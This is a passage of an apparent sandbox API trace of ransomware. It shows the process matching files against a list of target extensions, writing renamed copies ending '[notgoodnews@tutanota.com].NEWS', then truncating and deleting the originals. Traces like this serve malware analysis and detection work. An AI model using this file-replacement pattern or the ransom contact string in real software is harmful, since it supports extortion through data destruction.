returned 5 [0064.284] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.284] lstrlenW (lpString=".pdf") returned 4 [0064.284] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.284] lstrlenW (lpString=".xls") returned 4 [0064.284] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.284] lstrlenW (lpString=".xlsx") returned 5 [0064.284] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.284] lstrlenW (lpString=".ppt") returned 4 [0064.284] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.284] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0064.284] lstrlenW (lpString=".zip") returned 4 [0064.284] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.284] lstrlenW (lpString=".rar") returned 4 [0064.284] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.284] lstrlenW (lpString=".bz2") returned 4 [0064.284] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.284] lstrlenW (lpString=".7z") returned 3 [0064.284] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.284] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0064.284] lstrlenW (lpString=".dbf") returned 4 [0064.284] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.284] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0064.284] lstrlenW (lpString=".1cd") returned 4 [0064.284] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.284] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0064.285] lstrlenW (lpString=".jpg") returned 4 [0064.285] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.285] lstrcmpiW (lpString1=".rtf", lpString2=".NEWS") returned 1 [0064.285] lstrlenW (lpString="eula.rtf") returned 8 [0064.285] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0064.285] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=3046) returned 1 [0064.285] CloseHandle (hObject=0x350) returned 1 [0064.285] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 0x80 [0064.285] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.285] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0064.285] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.285] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.285] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0064.310] GetLastError () returned 0x0 [0064.310] ReadFile (in: hFile=0x350, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xbe6, lpOverlapped=0x0) returned 1 [0064.323] WriteFile (in: hFile=0x358, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xbf0, lpOverlapped=0x0) returned 1 [0064.324] ReadFile (in: hFile=0x350, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.324] WriteFile (in: hFile=0x358, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xe4, lpOverlapped=0x0) returned 1 [0064.324] SetEndOfFile (hFile=0x358) returned 1 [0064.324] CloseHandle (hObject=0x358) returned 1 [0064.325] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.325] SetEndOfFile (hFile=0x350) returned 1 [0064.326] CloseHandle (hObject=0x350) returned 1 [0064.326] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.326] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 1 [0064.327] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0064.327] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0064.327] lstrlenW (lpString=".doc") returned 4 [0064.327] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0064.327] lstrlenW (lpString=".docx") returned 5 [0064.327] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0064.327] lstrlenW (lpString=".pdf") returned 4 [0064.327] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0064.327] lstrlenW (lpString=".xls") returned 4 [0064.327] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0064.327] lstrlenW (lpString=".xlsx") returned 5 [0064.327] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0064.327] lstrlenW (lpString=".ppt") returned 4 [0064.327] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0064.327] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0064.327] lstrlenW (lpString=".zip") returned 4 [0064.327] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0064.327] lstrlenW (lpString=".rar") returned 4 [0064.327] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0064.327] lstrlenW (lpString=".bz2") returned 4 [0064.327] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0064.327] lstrlenW (lpString=".7z") returned 3 [0064.327] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0064.327] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0064.327] lstrlenW (lpString=".dbf") returned 4 [0064.327] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0064.327] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0064.327] lstrlenW (lpString=".1cd") returned 4 [0064.327] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0064.327] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0064.327] lstrlenW (lpString=".jpg") returned 4 [0064.327] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0064.328] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0064.328] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0064.328] lstrlenW (lpString=".doc") returned 4 [0064.328] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0064.328] lstrlenW (lpString=".docx") returned 5 [0064.328] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0064.328] lstrlenW (lpString=".pdf") returned 4 [0064.328] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0064.328] lstrlenW (lpString=".xls") returned 4 [0064.328] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0064.328] lstrlenW (lpString=".xlsx") returned 5 [0064.328] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0064.328] lstrlenW (lpString=".ppt") returned 4 [0064.328] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0064.328] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0064.328] lstrlenW (lpString=".zip") returned 4 [0064.328] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0064.328] lstrlenW (lpString=".rar") returned 4 [0064.328] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0064.328] lstrlenW (lpString=".bz2") returned 4 [0064.328] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0064.328] lstrlenW (lpString=".7z") returned 3 [0064.328] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0064.328] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0064.328] lstrlenW (lpString=".dbf") returned 4 [0064.328] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0064.328] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0064.328] lstrlenW (lpString=".1cd") returned 4 [0064.328] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0064.328] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0064.328] lstrlenW (lpString=".jpg") returned 4 [0064.328] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0064.329] lstrcmpiW (lpString1=".rtf", lpString2=".NEWS") returned 1 [0064.329] lstrlenW (lpString="eula.rtf") returned 8 [0064.329] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0064.329] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=3683) returned 1 [0064.329] CloseHandle (hObject=0x350) returned 1 [0064.329] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 0x80 [0064.329] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.329] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0064.329] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.329] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.329] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0064.331] GetLastError () returned 0x0 [0064.331] ReadFile (in: hFile=0x350, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xe63, lpOverlapped=0x0) returned 1 [0064.332] WriteFile (in: hFile=0x358, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xe70, lpOverlapped=0x0) returned 1 [0064.333] ReadFile (in: hFile=0x350, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.333] WriteFile (in: hFile=0x358, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xe4, lpOverlapped=0x0) returned 1 [0064.333] SetEndOfFile (hFile=0x358) returned 1 [0064.333] CloseHandle (hObject=0x358) returned 1 [0064.334] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.334] SetEndOfFile (hFile=0x350) returned 1 [0064.335] CloseHandle (hObject=0x350) returned 1 [0064.335] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.335] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 1 [0064.336] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0064.336] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0064.336] lstrlenW (lpString=".doc") returned 4 [0064.336] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0064.336] lstrlenW (lpString=".docx") returned 5 [0064.336] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0064.336] lstrlenW (lpString=".pdf") returned 4 [0064.336] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0064.336] lstrlenW (lpString=".xls") returned 4 [0064.336] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0064.336] lstrlenW (lpString=".xlsx") returned 5 [0064.336] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0064.336] lstrlenW (lpString=".ppt") returned 4 [0064.336] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0064.336] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0064.336] lstrlenW (lpString=".zip") returned 4 [0064.336] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0064.336] lstrlenW (lpString=".rar") returned 4 [0064.336] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0064.336] lstrlenW (lpString=".bz2") returned 4 [0064.336] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0064.336] lstrlenW (lpString=".7z") returned 3 [0064.336] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0064.336] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0064.336] lstrlenW (lpString=".dbf") returned 4 [0064.336] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0064.336] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0064.336] lstrlenW (lpString=".1cd") returned 4 [0064.336] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0064.336] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0064.336] lstrlenW (lpString=".jpg") returned 4 [0064.336] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0064.336] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0064.337] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0064.337] lstrlenW (lpString=".doc") returned 4 [0064.337] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0064.337] lstrlenW (lpString=".docx") returned 5 [0064.337] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0064.337] lstrlenW (lpString=".pdf") returned 4 [0064.337] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0064.337] lstrlenW (lpString=".xls") returned 4 [0064.337] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0064.337] lstrlenW (lpString=".xlsx") returned 5 [0064.337] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0064.337] lstrlenW (lpString=".ppt") returned 4 [0064.337] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0064.337] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0064.337] lstrlenW (lpString=".zip") returned 4 [0064.337] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0064.337] lstrlenW (lpString=".rar") returned 4 [0064.337] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0064.337] lstrlenW (lpString=".bz2") returned 4 [0064.337] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0064.337] lstrlenW (lpString=".7z") returned 3 [0064.337] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0064.337] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0064.337] lstrlenW (lpString=".dbf") returned 4 [0064.337] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0064.337] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0064.337] lstrlenW (lpString=".1cd") returned 4 [0064.337] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0064.337] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0064.337] lstrlenW (lpString=".jpg") returned 4 [0064.337] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0064.338] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0064.338] lstrlenW (lpString="LocalizedData.xml") returned 17 [0064.338] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0064.338] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=80738) returned 1 [0064.338] CloseHandle (hObject=0x350) returned 1 [0064.338] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 0x80 [0064.338] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.338] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0064.338] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.338] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.338] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0064.339] GetLastError () returned 0x0 [0064.339] ReadFile (in: hFile=0x350, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x13b62, lpOverlapped=0x0) returned 1 [0064.342] WriteFile (in: hFile=0x358, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x13b70, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x13b70, lpOverlapped=0x0) returned 1 [0064.344] ReadFile (in: hFile=0x350, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.344] WriteFile (in: hFile=0x358, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xf6, lpOverlapped=0x0) returned 1 [0064.345] SetEndOfFile (hFile=0x358) returned 1 [0064.345] CloseHandle (hObject=0x358) returned 1 [0064.347] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.347] SetEndOfFile (hFile=0x350) returned 1 [0064.348] CloseHandle (hObject=0x350) returned 1 [0064.348] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.349] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 1 [0064.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0064.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0064.349] lstrlenW (lpString=".doc") returned 4 [0064.349] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.349] lstrlenW (lpString=".docx") returned 5 [0064.349] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.349] lstrlenW (lpString=".pdf") returned 4 [0064.349] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.349] lstrlenW (lpString=".xls") returned 4 [0064.349] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.349] lstrlenW (lpString=".xlsx") returned 5 [0064.349] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.349] lstrlenW (lpString=".ppt") returned 4 [0064.349] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0064.349] lstrlenW (lpString=".zip") returned 4 [0064.349] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.349] lstrlenW (lpString=".rar") returned 4 [0064.349] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.349] lstrlenW (lpString=".bz2") returned 4 [0064.349] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.349] lstrlenW (lpString=".7z") returned 3 [0064.349] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0064.349] lstrlenW (lpString=".dbf") returned 4 [0064.349] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0064.349] lstrlenW (lpString=".1cd") returned 4 [0064.350] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0064.350] lstrlenW (lpString=".jpg") returned 4 [0064.350] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0064.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0064.350] lstrlenW (lpString=".doc") returned 4 [0064.350] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.350] lstrlenW (lpString=".docx") returned 5 [0064.350] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.350] lstrlenW (lpString=".pdf") returned 4 [0064.350] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.350] lstrlenW (lpString=".xls") returned 4 [0064.350] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.350] lstrlenW (lpString=".xlsx") returned 5 [0064.350] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.350] lstrlenW (lpString=".ppt") returned 4 [0064.350] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0064.350] lstrlenW (lpString=".zip") returned 4 [0064.350] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.350] lstrlenW (lpString=".rar") returned 4 [0064.350] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.350] lstrlenW (lpString=".bz2") returned 4 [0064.350] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.350] lstrlenW (lpString=".7z") returned 3 [0064.350] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0064.350] lstrlenW (lpString=".dbf") returned 4 [0064.350] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0064.350] lstrlenW (lpString=".1cd") returned 4 [0064.350] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0064.350] lstrlenW (lpString=".jpg") returned 4 [0064.351] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.351] lstrcmpiW (lpString1=".rtf", lpString2=".NEWS") returned 1 [0064.351] lstrlenW (lpString="eula.rtf") returned 8 [0064.351] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0064.351] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=54456) returned 1 [0064.351] CloseHandle (hObject=0x350) returned 1 [0064.352] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 0x80 [0064.352] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.352] CreateFileW 